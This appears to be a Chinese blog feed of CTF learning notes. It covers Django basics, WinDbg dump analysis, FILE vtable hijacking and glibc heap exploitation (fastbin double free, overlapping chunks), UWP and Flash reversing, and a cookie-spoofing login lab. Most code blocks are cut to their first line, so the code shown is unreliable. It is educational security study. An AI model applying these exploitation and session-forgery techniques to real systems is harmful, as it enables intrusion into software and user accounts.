我们运行服务器的方式是在外mysite文件夹内直接运行:
1 | python manage.py runserver |
然后会出现下列结果:
1 | System check identified no issues (0 silenced). |
此时就在本地启动了我们的Django服务(端口号为8000)。同时注意,不要将这个服务器运行在任何的生产环境下。
runserver可以通过在后方增加数字的形式使得其运行在不同的端口上。
接下来教程将会教会我们如何制作一个投票网站app。
首先我们创建一个相关的文件目录:
1 | python manage.py startapp polls |
这个命令会创建一个新的文件夹目录,里面会将必要的文件夹进行组织。
1 | polls/ |
首先打开views.py,键入以下代码:
1 | from django.http import HttpResponse |
可以看出此时通过HttpResponse,将会回复一个带有简单文字的界面。
为了能够调用这个views,我们需要将其映射到一个url上(这就是为什么我们需要urlconf)
在pulls目录下创建一个urls.py的文件,并且在里面键入:
1 | from django.conf.urls import url |
此时正则意思就是【匹配一个空行】
然后将根目录下的URLconf指向polls.urls。在mysite/urls.py中,添加django.conf.urls.include库,然后在urlpatterns列表中插入include()。
1 | from django.conf.urls import include, url |
这里的匹配的意思是【匹配只用polls/或者admin/开头的url】。注意,这里写的所有都是基于在主目录下的匹配,也就是说,127.0.0.1/这个目录其实已经被默认加在了前面。此时的匹配成功的内容会调用后方参数位置上的urls解析。使用了include的意思就是,在127.0.0.1/polls/目录下的文件解析。
注意,当我们使用其他的url模式的时候,一定要使用**include**
此时我们需要访问的是:
http://localhost:8000/polls/
因为此时在根目录下匹配的是polls,那么此时匹配的内容就是我们response中所布置的网页。
这里介绍一下url函数
参数:
mysite/settings.py为Django的基本配置文件。这个文件中可以修改我们的默认数据库。系统默认的是python自带的sqlite3,如果需要修改的话,需要找到DATABASES变量,修改下列属性:
在这个文件中,可以设置时区
同时,配置文件中,还有一个叫做INSTALLED_APPS的文件。这个文件是Django使用中会用到的所有对象。这其中的appsu和i在多工程的场合下使用。默认状态下包含一下文件:
这些些apps有的用到了至少一个数据库。所以在使用之前我们需要创建数据库。
1 | python manage.py migrate # 迁移数据库 |
migrate会从INSTALLED_APPS查找所有的apps并且安装所有必要的数据库。并且将迁移数据库与应用程序。当然,不需要的内容可以直接从这里删除。
我们简单的投票app中将会创建两个简单的模型:Question和Choice。Question中包含了一个问题和公示数据。Choice含含有两个域:选择的内容和机票。每一个Choice都将和Quesiton关联。
我们修改polls/models.py文件如下:
1 | from django.db import models |
注意到,这个类中的每一个子类都是django.db.models.Model的子类,其中又很多代表了数据库域的变量。
这里的每一个变量都是一个Field类型的实例化,比如CharField是一个字符串子域,DateTimeField则是一个时间的子域。
变量的名字就是域的名字。同时我们还能够给我们的域起一个可以理解的名字。比如在Question.pub_date中的命名一样。
有一些域需要传入默认值,就比如CharField,规定改域的大小。
域可以设置默认值,votes中就设置了初始值0。
同时注意到模型中进行了关联,ForeignKey表示Django中的Choice会关联到一个Question上。Django支持所有类型的数据库关系:多对一,一对一,一对多。
通过上面代码,Django可以完成:
1 | python manage.py makemigrations polls |
会出现如下的提示:
1 | Migrations for 'polls': |
上述指令的意思相当于告诉Django我们将要改变我们当前的模型,并且这个改变将会被作为迁移存储下来。
迁移记录了Djange如何修改我们模型。记录在了polls/migrations/0001_initial.py中。使用指令
1 | python manage.py sqlmigrate polls 0001 |
将会展示第0001次修改中发生了什么:
1 | BEGIN; |
注意以下:
使用指令
1 | python manage.py check |
可以检查是否有问题而不会真正的迁移数据库。
一切准备就绪之后,就可以使用下列指令:
1 | python manage.py migrate |
从而将数据模型实现。
这个指令会将之前没有实现的模型完全实现(django使用了django_migrations跟踪数据库)并且同步数据库的改变。
迁移是非常有用的,它可以让你不需要删除数据库或者表就可以改变模型。可以动态的升级数据库而不丢失数据。
三步修改数据模型:
使用API
首先我们尝试使用python shell和当前的apps交互:
1 | python manage.py shell |
这里我们使用python shell与其进行交互,注意这里的属性修改如果想要存储在database中的话,需要调用save函数:
1 | >>> from polls.models import Question, Choice |
然后,注意到这个Question.objects.all类的名字不太好听,我们可以在Question类中给其取一个好听的名字:
1 | # use this decorator to compate python2 |
通过这个方式,可以实现在输出的时候就会将设置的text作为名字。同时对象的表示会在整个Django的生成中使用。
然后我们添加新的models:
1 | import datetime |
然后我们重新打开shell进行操作:
1 | from polls.models import Question, Choice |
Django的管理员
Django会自动生成一个管理员页面,这个页面是由网站的的后台管理员使用。Django将页面拆分成了publisher和public两部分,分别给管理者和用户使用。
使用指令:
1 | python manage.py createsuperuser |
可以创建后台。然后我们重新运行manage.py,访问/admin/后便可登陆后台。这个页面的元素实在django.contrib.auth中所提供的。
注意到,poll 应用并未展示在这个页面上,因为我们还没有告知管理员我们有了Question对象。所以,我们需要打开polls/admin.py文件,并且进行一定的修改:
1 | from django.contrib import admin |
然后我们就会找到这个叫做Question的app,这里会展示我们数据库中所有存在的问题,我们可以在这个页面对其进行修改。
注意:
view是什么
在Django中,view通常是一个特殊的函数并且有特殊的模板。这个函数能够帮助我们更好的实现界面的功能。
更多的views
我们往polls/views.py中添加如下的代码:
1 | def detail(request, question_id): |
添加了上述代码后,为了能够让url能够正确的解析,我们在polls/urls.py中增加更多的额外代码
1 | from django.conf.urls import url |
这里的正则表达式用了【捕获】的概念,就是**匹配括号中的表达式,同时将内容写在名称为question_id的组里面。(在re模块中,可以通过groupdict查询dict和对应的名字)。
写一个能够处理事件的views
每一个view都能处理以下两件事中的一个:
这里我们使用上一篇教程中创建的数据库:
1 | from django.http import HttpResponse |
这里的order_by是指"按照pub_date的顺序进行排序(虽然不知道是什么顺序就是了)"
为了让我们的页面更加美观,我们这里使用Django的模板来进行一些设计:
首先,在polls文件夹内创建一个叫做templates的文件夹,Django会在这个文件夹中搜索模板。
TEMPLATES描述了django将会如何独具和渲染模板。默认的DjangoTemplates后台文件中将APP_DIRS设置为真。依照惯例,DjangoTepmates将会寻找每一个INSTALLED_APPS中出现文件的tamplates。
在我们创建的templates目录下创建一个叫做polls的文件夹,里面创建一个index.html.我们要让我们的templats的目录变为polls/tempaltes/polls/index.html,因为这个app_directories是如上面提到的那样来读取的,我们可以简单的将目录命名为polls/index.html
然后我们修改polls.views.py中的代码,让template能够被读取并且渲染:
1 | from django.http import HttpResponse |
这里将我们写好的index.html读取进来,并且设置了context的上下文,然后将这个渲染的结果作为HttpRespose的结果。
捷径:render函数:
非常常用的函数,会返回一个渲染过的httpresponse的对象。所以我们可以修改我们的views中的代码:
1 | from django.shortcuts import render |
render将会将请求数据,渲染的template位置和相应的context作为参数传入,然后对数据进行渲染。
提出404错误
我们接下来完善一下details页面:
1 | from django.http import Http404 |
捷径: get_object_or_404()
这个函数能够让我们快速的提取models中的对象内容,若不存在的话就会立刻报错。
1 | from django.shortcuts import get_object_or_404, render |
这个get_object_or_404函数接受需要提取内容的对象以及对应所需要的参数。
为了解耦处理,这些异常一定要及时处理。
使用template系统:
此时我们需要完善我们的detail页面,所以这里我们将要将每一个Question的数据进行展示:
这里给出要求:
这里留意,每一个投票的内容都是可以使用question.关联数据项_all来获取一整个可迭代对象。
注意,当我们在index.html页面中写一个链接的时候,我们最好不要写死一个url,不然的话耦合程度太高就不能替换成其他的templates。由于我们在polls.urls里面已经定义过,我们就能可以更改当前的url
<a href="\{\% url 'detail' question.id \%\}">
通过这个写法,回去polls.urls模块中的URL定义中查找对应模块的定义:
1 | url(r'^(?P<question_id>[0-9]+)/$', views.detail, name='detail'), |
这里name='detail’将url模块命名,同时在配置的时候会叫question_id提取出来,然后加载url的后面。如果我们想要改变模板中的地址,我们还可以这么改:
1 | # added the word 'specifics' |
Django可以兼容多个apps。比如,poslls app有一个details 模块,可能在同一个项目中的另一个app也有。那么Django是如何分辨究竟是那个app将要使用url template 标签呢?
为了能够使用,我们需要在urls.py的开头加上一个URLConf的标签,加上的标签能够设置这个程序的命名空间:
app_name = ‘polls’
首先修改一下details.html的内容,增加一个表单。
我们在之前已经实现了urls的配置:
1 | url(r'^(?P<question_id>[0-9]+)/vote/$', views.vote, name='vote') |
接下来让我们修改一下vote函数,让其能够实现后台操作:
1 | from django.shortcuts import get_object_or_404, render |
1 | url(r'^(?P<question_id>[0-9]+)/results/$', views.results, name='result') |
经过解析之后就会变成/polls/3/results,注意到这个3的位置正好是我们解析得到的位置。
最后这个重定向后的url就会让results views展示最后的页面
reverse其实是一个【动态加载url】的的函数,还记得我们在url中对url进行了命名:
url("^index/$", name = “index”)
这个index就是这个url的名字(name),然后reverse 的含义其实是
reverse(“作用域:url名字”)
reverse会尝试从我们的apps中查找所有有可能的url,以上述为例子,假如我们的apps域为:
app_name = “test”
那么为了匹配上述的url,我们的reverse可以这么写:
reverse(“test:index”)
此时就会将匹配完成的url,也就是url所对应的localhost/index/所获取。
所以接下来让我们来完善一下这个results.html页面;
提示:
页面上得有每一个choice的【内容】和【票数】
由于我们上述提到的功能都很简单,我们此时应该使用一些"generic views"系统来快速的配置这些页面。
首先是urls.py的配置
1 | from django.conf.urls import url |
然后是相关的view.py中的代码:
1 | from django.shortcuts import get_object_or_404, render |
这里使用了ListView和DetailView去展示我们的内容,ListView展示的是一个对象列表,而DetailView展示的是一个销毁展示特定对象的详细页面
在模型设计上,我们有一个Question.was_published_reently()的方法,功能是判断当前的Question是否已经显示。然而,当时的判断方法似乎会导致我们一些将来提出的Quetion也被视为published,这里我们进行测试:
1 | import datetime |
然后我们使用
1 | python manage.py test polls |
就可以对polls进行测试。
当我们执行上述代码的时候,一下的事情发生了:
由于这个函数的意思是【一天内推送的question】,所以这里我们增加判断语句即可。
可以通过别的测试项目来增加测试的内容。
注意到,我们除了要求我们的代码内部的行为,还需要在意其在view层面的变化。
Django提供了一个Client来模拟一个用户来与界面交互。
首先我们现在命令行中体验一下这个感觉:
1 | from django.test.utils import setup_test_environment |
然后我们依次测试部分数据:
1 | # get a response from '/' |
由于我们之前运行了添加未来的question,所以我们在展示的时候是不能够将所有的数据展示,只能够展示已经出现过的数据。于是这里我们修改views.py中的index:
1 | def get_queryset(self): |
过滤器中的参数__lte表示【比传入参数litte or equal】的数据,所以此时只会返回所有的<=当前时间的数据。
由于我们刚刚只是测试了现有的数据,但是问题是,如果我们每次新建数据的时候会触发漏洞怎么办?所以这里我们就尝试按照上面shell中操作的那样,模拟一个创建的过程。
我们首先写一个create_question来模拟新建这个question的过程,注意这个过程我们不会将数据引入到我们的数据库中(也就不去save,而是直接创建一个对象,这样的话在结束的时候,数据就会丢失)。
1 | def create_question(question_text, days): |
然后接下来就是各类测试:不创建问题的,创建未来的问题的,过去的问题的,同时创建两种问题,还有连续创建两个过去的问题。
]]>windbg的指令分成以下几类
标准命令相当于是内建在windbg中的默认指令。
元命令则是提供给标准指令中没有的指令,调用时开头要加上.
符号。
扩展指令则是用于实现针对特定目标的调试功能,使用前要加上!
符号,其完整的调用格式为:
1 | !nameofExtentModule.nameofExtentCommand 参数 |
其中如果扩栈模块已经加载了,那么nameofExtentModule.
不是必须的,windbg会直接查找。
dt命令看可以显示局部变量、全局变量或数据类型的信息。它也可以仅显示数据类型。即结构和联合(union)的信息。
例如,查看当前的线程块:
1 | dt _teb |
默认格式如下
1 | d [type] [address range] |
d这个命令能够查看指定地址和内存的内容,其中常用的有dd(使用双字节来查看内存内容),如:
1 | dd 77400000 |
扩展指令
可以查看当前进程中的peb的基本情况。
指令格式如下
1 | bp <address> |
常见的下断点的方式。对应的清除断点的方式为bc num,而列出断点的方法为bl
最基本的指令,运行当前程序。除此之外,还有gu // 执行到当前函数完成时停下 【Go Up】等
将指定的地址反汇编:
1 | u[u|b] address(.表示当前的程序执行地址) |
其中uu和ub可以指定当前反汇编的长度(暂时没看出什么区别,似乎是ub的话使用.会自动计算从函数开始的地址进行汇编)。可以使用以下的语法进行长度的指定
1 | uu Address L[Length] |
使用L表示后面的数字表示的是长度
查看当前的寄存器
同时可以修改当前的寄存器,比如说:
1 | r @eax=1 |
将当前的eax寄存器的值修改成1
1 | ed [address][content] |
将当前的内存修改成指定值
例如
1 | ed 08041000 11111111 |
将地址08041000处的内容修改成11111111
常见指令,单步步过。除此之外还有:
常见指令,单步步入
查看栈帧调用顺序
表示当前的符号加载情况。符号能够帮助我们更加方便的分析程序。
1 | .sympath+ D:\Filename |
将D:\Filename添加到符号查找的路径中。
关于符号,其中lm
指令可以检查当前的文件中是否加载了符号文件:
1 | 0:000> lm |
1 | .load dllname |
导入指定名字的dll文件,常常用于导入插件
mona
是一个好东西哈,可以用来生成ROP
,查找Gadget
,进行漏洞挖掘等等。
1 | !py mona rop -m "module" |
利用module生成ROP Chain
有些程序传递参数的时候,可以从下图的位置的位置传递数据。
这里用一次比赛的题目来记录此次的学习过程好了。
当程序运行到某些重大错误的时候,windows会帮我们生成一个.dmp文件,这里的dmp就是文件进程的内存镜像,可以把程序的执行状态通过调试器保存在其中。
我们首先将dmp文件导入到windbg中,选择open crash dump即可打开文件。然后等待文件打开之后,我们输入指令
!analyze –v
!analyze是分析用的指令,-v表示要看详细信息。结果大概如下:
从图中,我们可以看到如下信息:
1 | BUCKET_ID_PREFIX_STR: STATUS_BREAKPOINT_ |
这段一次就是说,当前的dmp是由于STATUS_BREAKPOINT导致的,也就是【断点让其中断】导致,上网查阅资料后可以知道,此类中断是由windbg本身强制中断所引发的。然后我们查看一下当前加载了哪些模块
lm
PS:这段我还发现用VS也可以查看来着
有点奇怪,我们能够发现这里有一个叫做stolen.dll的动态链接库。。仔细想这个名字实在是奇怪,我们尝试上网查一下这个东西,发现完全没办法查到,这反而增加了这个东西的可疑性——毕竟正常的dll都能够在网上查到的。于是我们尝试跟踪一下当前的dll
lmv m stolen
能够看见其起始地址为
10000000
但是当我们去查看的时候,这段内容由于并没有被映射,无法被查看。。。
那么既然这段内容不能被查看,那不如我们来查看一下整个内存空间信息,看看哪段是被映射了的
!vadump
其中这条信息比较有意思
BaseAddress: 10001000RegionSize: 000062f4
很显然是在那个stolen.dll范围中的一个数据,我打开memory窗口,输入地址进行查看:
这里有一段很神奇的ascii码。。。这个
great!acaa16770db76c1ffb9cee51c3cabfcf
就是我们需要寻找的信息
]]>2018.9.9 更新:这个思路也是看了队友的博客才知道的,队友太强了
每一个文件对象本质上是一个结构体struct _IO_FILE
,这个结构体中会记录一些和文件操作相关的变量,其定义如下:
1 | struct _IO_FILE{ |
结构体中的_IO_read*
和_IO_write*
部分会在调用scanf/fread
和printf/fwrite
这类会利用缓冲区的函数的时候被调用就会利用到这个缓冲区进行读写(此处可pwn)
_chain
属性则是连接了下一个strcut _IO_FILE*
。
所有打开的文件FILE
结构都会以链表的形式存储在内存中,链表的头部为_IO_list_all
,是libc的全局变量。
当打开一个文件的时候,此时的会从从堆上分配一个区域,用来存放一个包含_IO_FILE
结构体的另一个结构体_IO_FILE_plus
1 | struct _IO_FILE_plus |
这个_OP_jump_t*
指针指向了一个函数指针组成的内存区域。不同的文件对象通过填充不同的函数指针,从而实现统一API调用下的不同处理。这边我们看到这个 vtable 的结构体为:
1 |
|
这些函数相当于是在调用read/write/fflush...
等函数的时候会利用的指针。
通过上面对函数的分析,我们会发现 FILE 在使用过程中,本质上会调用的是函数指针,则如果我们能够通过伪造完整_IO_FILE_plus
,然后让fp指针指向我们的fake FILE,并且将其中的vtable指向一个由我们控制的内存区域,在区域中填写我们攻击需要用到的函数地址,就能够实现攻击。
首先看到源代码,非常简单,直接贴处理:
这个读取内容虽然简单,但是正好也是不会把栈的返回值改掉,从代码上看没有canary(其实也没有)顺便注意一下此时的文件打开用的是fopen而不是open:
形式一片大好啊,看起来可以利用一下那个.bss,这里采取伪造文件头指针的方法进行攻击:
首先我们来看一下这个函数:
fflush(stream* FILE)
这个函数会将我们的文件流刷新。然后想到此时我们可以通过伪造vtable的形式进行攻击,于是我们查看一下内存:
红框处即为vtable的值。于是我们通过修改文件指针0xd0+8的位置上的数据,就相当于修改了vtable。我们通过修改其中对应函数的地址,就能在调用该函数的时候跳转到指定位置上(不过呢看到队友直接暴力处理了23333直接全部统一修改成我们指定的地址上),从而执行shellcode。
这里附上大佬队友的poc
1 | from pwn import * |
从这个版本后,glibc中增加了一个对于 vtable 的检测函数:
1 | /* Check if unknown vtable pointers are permitted; otherwise, |
此时为了保证攻击的进行,只能让 vtable 落在[__start___libc_IO_vtables, __stop___libc_IO_vtables]
才行。
所以学习了一个新的姿势,就是使用一些已有的vtable进行攻击。
这里介绍的是_IO_str_jumps
。其也是struct _IO_jump_t
结构体,并且这个结构体中的_IO_OVERFLOW
有可以利用的地方。我们这里首先介绍这个漏洞的利用条件
这里介绍的是32bit的程序,所以以下的偏移仅适用于32bit
1 | if ( fp->_flags & 8 ) |
这里是flag的确定,为了防止程序陷入到这部分内容,我们可以简单的让flags为0,即可达到这个目的。
然后我们观察之后的逻辑:
1 | base = fp->_IO_buf_base; |
可以看到,这里会调用一个在fp中的函数,我们看一下实际上是什么:
可以看到,实际上这个地方call的是一个esi+0x98位置的变量。显然这个位置是我们可控的。同时我们通过设置fp->_IO_buf_base
和fp->_IO_buf_end
两个参数,就能够将参数的位置也确定下来。同时注意到,我们需要保证write_ptr - fp ->_IO_write_base >= offset
,才能够进入调用流程。
之后我们可以通过让结构体之间发生错位让_IO_str_umps
的地址根据需要偏移(例如+4,让_IO_OVERFLOW对齐至正常的_IO_FINISH上,从而在调用fclose的时候进入该流程)从而调用这个函数。
如果我们此时是一个堆的题目,那么我们可以很容易的触发到这个逻辑:
首先我们介绍一个地方:
1 | int |
这个函数会在我们发生_int_malloc_printerr的时候触发,而这个错误其实在堆的相关题目中很容易触发,所以这里优先考虑这个方法。如果要进入这个逻辑的话,那么除了上述提到的条件,我们还要满足
此时才会进入_IO_OVERFLOW的逻辑。这里给出如果要从这里触发 vtable 的利用方式时,我们需要伪造的 FILE 结构体
1 | fake_bin = p32(0)# flags |
但是如何和unsorted bin attack结合呢?关键在于unsorted bin attack 是可以修改**任意地址为unsorted_bin(av)**的,那么此时通过修改_IO_list_all 这个全局变量为unsorted_bin,则此时程序不会崩溃,并且会进入到遍历的逻辑上(也就是会发生一次fp = fp->_chain)。在unsorted_bin(av)中,_chain
这个地址指向的是smallbin[5](64bit下是smallbin[4])的存放地址。所以我们可以通过产生smallbin,伪造一个完整的FILE
结构体,从而实现一次攻击。
具体的例子可以看pwnhub old_chall
参考博客:
http://blog.hac425.top/2018/01/13/pwn_with_file_part4.html
我们用IDA去调试.so文件的时候,往往会遇到如下的情况:
其实这个东西解决还是很容易的,在变量a1处按下y,修改成如下
然后源代码的调试就简单多了:
同样从how2heap中找到以下代码
1 | /* |
接下来,我们修改p2的标志位,让glibc认为这个堆的大小为0x180(也即是p2和p3)的总和:
1 | int evil_chunk_size = 0x181; |
这里同样,由于为了对齐,我们需要去掉size的大小,所以实际大小为0x180 - 8。由于我们将used为改成了0x181,于是这个地方glibc发现【上一个块被使用,但是当前块由于在unsorted bin中,于是分配当前块给我们,大小为之前声明的0x180】。此时我们就得到了一个0x180大小的chunk:
1 | p4 = malloc(evil_region_size); |
在这里能看到,p4整个把p3给包括了。那么此时p4就能够随意修改p3的prev size等内容,从而完成攻击.
从网上找到的触发代码;
1 |
|
这里讲解的是fastbin的相关攻击,可以看到之类的malloc后面的数值很小,就是为了得到fastbin。
fastbin是一种不会回到unsort bin的chunk,如何理解呢,看下列代码:
1 | char *a = malloc(20); // 0xe4b010 |
会发现,后free的内容接在了fastbin的尾部:
head -> d -> c -> b -> a -> tail
从而正在第二次分配的时候最先获得。并且从大小可以发现此时fastbin并没有发生回收。
本质原因还是double free,我们来看一下下列代码:
1 | a = malloc(10); // 0xa04010 |
利用的关键在于fastbin的组织形式:
head -> a -> b -> a -> tail
看到这里可能很多人会问:我平时写程序的时候也常常malloc和free,但是似乎没有发生这个问题啊?其实是遇到过的,有时候发生【已有数据被冲刷】这样的事情我们其实真的会遇到,只是我们忘记了。官方其实有出防御方法,其实就是检查当前top of the bin是否就是我们释放的p
1 | do |
仔细一看发现有点。。嗯,难道官方忘记了fastbin是FILO了嘛。。。
通过这个有失误的防御,我们的就能够通过分配不同的位置从而使两个指针指向同一块内存。但单纯这样并不能造成实质上的破坏,于是我们需要第二部分,修改栈上空间:
1 | printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); |
这我们通过修改了d中的内容,间接修改了d中的fd。由于此时fastbin发现fd中还存在数据,于是就认为fd中存在的是真实的栈中地址,所以在下一次malloc之后,就能够得到栈上的地址。
malloc其实有对这个情况进行过防御:
1 |
|
可以看到这里,我们分配堆块的时候,会检查分配的堆块大小是否和【原先的堆块大小是否相等】。换句话说,我们分配的fake堆块的位置【在size的位置上必须要有和原先的堆块大小相同的数值】
利用前提:
利用思路:
注意事项:
这个利用方法的关键在于,修改一个被free的chunk中的fd,使其能够指向栈,那么我们就能够得到这个指针指向位置的控制权。
这个方法的使用方法还有很多,比如直接利用这个方法获得某个函数指针之类的。
其实我还是第一次听说UWP这个概念来着。。。首先先查询一下这个东西是个啥吧
在Windows集成应用商店之前的版本,我们一般是下载程序进行安装,这些程序一般指的就是后缀为“.exe”的文件,英文称之为Program,大多安装在“C:\Program Files”下。UWP是Universal Windows Platform简称,即Windows通用应用平台,可以在Windows 10 Mobile/Surface/PC/Xbox/HoloLens等平台上运行,它并不是为某一个终端而设计,而是可以在所有Windows10设备上运行一种全平台应用,一般安装在“C:\Program Files\windowsapp”下
大概意思就是说,这个玩意儿是微软的应用商城里面的东西,我们下载的东西还有会各种管理机制,比exe好。
鉴于是小白,这里还是介绍的仔细一点好了:
首先要打开开发者模式
然后我们以管理员权限运行powershell,并且设置powershell的执行策略为RemoteSigned:
1 | Set-ExecutionPolicy RemoteSigned |
最后找到UWP下的
Add-AppDevPackage.ps1
进行安装即可。
最后能够在Windows的菜单里面找到这个应用。
对于一个uwp来说,程序的主体部分放在.appxbundle中(注意这里是bundle,是打包过的)。可以直接用压缩工具打开。里面的appx可以利用工具Telerik JustDecompile进行查看:
其中的MainPage自然就是入口啦~
经大佬提醒后知道,其实C++也可以用来写uwp。而且如果用C#写逻辑而用.net Native编译的话,那么当前的应用就只能用IDA来反编译了~
这里以RCTF 2017的一道题为例子进行简单分析:
首先我们可以看到MainPage的代码
1 | namespace RCTF |
非常的清晰啊啊啊啊!这不是很容易就被人逆向了么。。。。
第一段的逻辑大概就是初始化逻辑
1 | public MainPage() |
将一些基本内容初始化,并且在指定的路径下创建一个数据并创建一个表。
这个初始化又在做什么呢,我们继续看
1 | public void InitializeComponent() |
大致就是读取当前逻辑,并且载入一个元素,其中有一个令人好奇的URi:MainPage.xaml,这个是一个什么东西呢,上网查了一下,似乎就是一个xml,用来管理解决方法的。至于那个LoadComponent就是加载位于指定统一资源标识符 (URI) 处的 XAML 文件,并将其转换为由该 XAML 文件的根元素指定的对象的实例。
然后我们需要找到这个数据库的位置,发现在下列位置:
private string path = Path.Combine(Package.Current.InstalledLocation.Path, “Assets\flag.sqlite”);
这个InstalledLoaction.Path就是我们前文提到的过的C://Program Files//Windows App目录。用Everything找一找也能找到这个flag.sqlite
主要逻辑就这些,显然这个东西和Andorid一样,是由事件驱动的。因此我们关注其中和按钮相关的函数:
1 | private void button_Click(object sender, RoutedEventArgs e) |
这个内容可以看到,此时会将我们的输入的text转换成一个数字,然后和flag_table里面的数据进行比较。我们打开数据库看一下:
会发现,这个里面有很多的数据啊,总共有1024个呢。。。我们找打那个像瞎打的函数名的函数看看里面的内容:
1 | public static string dfdfdfd(string input) |
会发先,首先对输入的字符串进行base64解码,然后取回str = Package.Current.Id.FamilyName.Substring(0, 16);这个ID不是普通的ID,是这个UWP的标识号。取出前16位,并且我们这里使用此符号作为加密的密钥,对其进行解密。
也就是说,我们这里在数据库里面看到的数据其实就是**【加密后的数据】**。所以我们这里只需要遍历数据库,并且取出里面所有的数据,base64解码后进行AES解密即可。至于这个Package.Current.Id.FamilyName,我们可以通过访问APPXManifest.xaml找到,其实就是:
<Identity Name=“26a6f9cc-d019-4f5d-8a1b-a352b7738f42”
这一串。
现在我们有了所有信息,就能够编写脚本解决这个问题了
1 | from Crypto.Cipher import AES |
吐槽一下,这个CBC模式好坑啊,会保留上一次运算结果这一点。。。只能每次new一个新的对象出来,才能够避免上次的影响。。。
]]>首先了解到博客园存在Cookie欺骗的位置,那么首先我们尝试进入博客园并且登陆,然后我们查看cookie的数值:
上面的红框框里面的就是记录了登陆状态的cookie名字和其对应value值。我们记录下这两个值
1 | .CNBlogsCookie |
然后我们此时erase当前cookie,刷新界面,发现没有进行登陆:
之后我们回到刚刚的界面上,重新输入我们刚刚得到的cookie:
刷新页面后,成功登入blog:
打开win7,设置IIS。
在控制面板中找到IIS的相关设置,打开IIS的基本功能,然后在管理工具中找到IIS的相关配置。
将IIS中编辑网站绑定的位置增加自己虚拟机的IP和端口,从而可以在本机对其进行访问:
然后。。。开始编写ASP的简单网页(我擦这个实验真是搞人。。。)
代码如下:
1 | <%@ Page Language="C#" Debug="True" AutoEventWireup="true" CodeFile="Login.aspx.cs" Inherits="Login" %> |
1 | using System; |
简直多坑。。。现在才知道原来
1 | <%@ Page Language="C#" Debug="True" AutoEventWireup="true" CodeFile="Login.aspx.cs" Inherits="Login" %> |
这句话的意思是,本页面中的嵌入脚本语言为C#,然后与文件Login.aspx.cs交互
网络拓扑图大概就是:
页面逻辑为:
下面是运行截图:
初次登陆的时候,没有提示内容,要求登陆。密码为固定的llh111:
登陆完成后,再次登陆,会提示当前用户已经登陆:
然后,我们使用插件修改了cookies的内容
此时刷新界面:
成功伪造登陆。
与此同时,在服务器端,防火墙并没有做出反应,说明此伪造能够绕过最基本的防火墙:
防御方法: 把密码同时存入cookies,然后在cookie验证时候,同时验证对应的username和密码是否匹配即可。
]]>这个RCTF2017其实蛮有意思的,题目种类非常多,但是我不知怎么的陷入了Reverse的坑?!说好的pwn手呢。。。。而且比赛最后10分钟结束前极限做出最后一题也没能挽救30开外的结局啊。。。
flahs的题目嘛。。没怎么见过,花了不少时间熟悉工具:
运行swf后,发现是让我们输入flag。那么应该是在后台有一个比对的过程。
找了个半天发现也就一个叫做JPEXS的好用。
反编译后大致检查一下,找打一个奇怪的数据包叫MyCPP,检查内部函数,可以发现一个叫做check的函数,里面对字符串的处理逻辑为:
1 | import C_Run_D_3A__2F_software_2F_Tools_2F_CrossBridge_2F_cygwin_2F_tmp_2F_cc9QAEpL_2E_o_3A_d1fd6bd0_2D_036b_2D_49da_2D_bcfb_2D_b5dce5104397.L__2E_str4; |
包的名字很长,可能是加密处理过(?),从中我们可以猜测,这个函数就是对输入的字符串与变量L__2E_str6处理进行比较。这里由于JPEXS的数据处理不太好。不能直接找到字符串所在的位置。不过顺着类的名字找到对应的数据包,里面有相关字符串的声明:
1 | L__2E_str4: |
从这个地方还不能找到对应的数据段,他这个JPEXS真难用。。巧合的是,我们能够找到一个位置:
1 | package C_Run_D_3A__2F_software_2F_Tools_2F_CrossBridge_2F_cygwin_2F_tmp_2F_cc9QAEpL_2E_o_3A_d1fd6bd0_2D_036b_2D_49da_2D_bcfb_2D_b5dce5104397 |
由于工具翻译不全,在二进制数据选项中,通过比较数据的大小,能够确定DS1就是[.rodata]段数据
这个地方可以看到,这个L__2E_str4对应的字符串的内容为:
RCTF{_Dyiin9__F1ash__1ike5_CPP}
最初以为这就是答案,提交后发现不对。。。
于是重新怀疑函数strcmp可能是重载的。于是再次找到对应函数的位置:
1 | public function F_strcmp() : void |
由备注可知,这个函数会将字符串的部分内容省略。于是此时我们编写脚本反向处理:
1 | var0 = 2 |
最终得到答案
RCTF{Dyin9_F1ash_1ike5_CPP}
这一题第一天花了我差不多6个小时,最后居然分数只剩230多。。。。我的天有没有那么简单。。。。不过我真是太naive了,因为马上就有更难的flash出现了。。。
发现和和上个flash逻辑几乎一样,也是有一个check函数。于是用JPEXS查看逻辑:
1 | package MyCPP |
上述大致的逻辑如上,也就是
(我擦敢不敢再复杂一点!!!又是brainfuck又是加密的!!!)关键的字符串就是str7和str8,于是在JPEXS中找到对应数据段的数据:
str7:".rodata.str1.16"
str8:".rodata.str1.16"
public const str7:int = S__2E_rodata_2E_str1_2E_16 + 144;
public const str8:int = S__2E_rodata_2E_str1_2E_16 + 224;
这个str8是典型的brainfuck,但是整个执行过程有点奇怪:
1 | str8 = >>>>>+++++<<<<----->>>++<<<<<<<<<----- |
这段内容显然是不含有输入的,那么只能猜测这个brainfuck其实会作用在我们输入的另一个字符串上。于是继续分析下列代码:
1 | package C_Run |
从上面的逻辑我们能够看出,这个代码的意思其实是使用类似brainfuck的函数,将brainfuck字符串作用在i2所指向的位置的数据。对于熟悉brainfuck的同学们来说应该会知道,符号<表示【当前指针向左移动】,而>表示【当前指针向/RCTF2017移动】。而这个传入的参数虽然是i2,然后brainfuck字符串为:
1 | >>>>>+++++<<<<----->>>++<<<<<<<<<----- |
最后一段[<]的数量非常多,超过了前面所有的>,说明指针**【会移动到i2所指位置之前的地方】**。知道这点很重要,因为我们重新会看i2赋值那段代码:
1 | si32(-536244034,ebp - 12); e00990be |
这段可以看出,这个i2其实只是指向了某段数据中间的位置,也就是说,brainfuck函数不但会影响到i2以及其相关数据,还会影响到i3指针指向的数据上的数据。
知道这一点很重要,在之后重现算法的时候不会踩坑。
最后我们粗略看一下AES128:
之所以是粗略的看,因为一般题目中的AES都是真正实现的AES,一般不会出现重构这样的事情。所以这里我们大致浏览后发现的确是正常的AES的逻辑,我们就可以从github之类的地方找到一个AES128实现的算法直接使用。
大致流程知道了,关键就是这个AES128CBC,如果要解开AES的话,我们必须要知道密钥和IV。
根据分析,我们之前知道了函数原型为:
1 | AES123_CBC_encrypt_buffer(mallocString, inputString, strlenOfinputString, i2, i3) |
那么此时IV也就是此时的i3,Key就是此时的i2。
i3和i2都在调用此函数之前被处理过,自然不能用之前的数据。为了能够完全将上述加密反向运算解密,这里使用C语言重现上面代码的逻辑,同时使用AES128CBC解密函数进行解密:
最终得到flag:
